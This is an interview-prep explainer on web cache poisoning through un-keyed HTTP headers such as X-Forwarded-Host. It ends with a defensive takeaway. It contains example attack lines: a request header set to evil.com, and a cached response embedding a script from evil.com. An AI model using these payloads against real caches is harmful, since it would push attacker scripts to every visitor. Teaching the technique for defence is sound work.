Intermediate LevelWeb Security & Cyber Defense
What is Web Cache Poisoning and how do un-keyed HTTP headers compromise caches?
❓ Interview Prompt: Explain Web Cache Poisoning, cache keys, un-keyed HTTP headers (`X-Forwarded-Host`, `X-Original-URL`), and poisoning HTTP caches.
Web Cache Poisoning tricks a HTTP Cache (CDN or reverse proxy) into storing a malicious response payload and serving it to all subsequent users:
Attack Mechanics:
1
Attacker sends request with un-keyed header: 'GET / HTTP/1.1' with 'X-Forwarded-Host: evil.com'.
2
Server uses un-keyed header to construct dynamic script tags: '<script src="https://evil.com/app.js"></script>'.
3
The HTTP cache saves this response under cache key 'GET /'.
4
All subsequent visitors fetching '/' receive the poisoned page containing the attacker's script!
Code Implementation Example
http
// Poisoned HTTP Cache Response stored under key GET /
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
<html><script src="https://evil.com/malicious.js"></script></html>💡Poisoned HTTP cache response serving injected malicious script payload.
🎯 Interview Key Takeaway
Disable un-keyed header overrides or include custom headers in CDN cache keys to prevent Web Cache Poisoning.
#Cache Poisoning#CDN#HTTP Headers#Intermediate
Back to all Web Security & Cyber Defense Questions→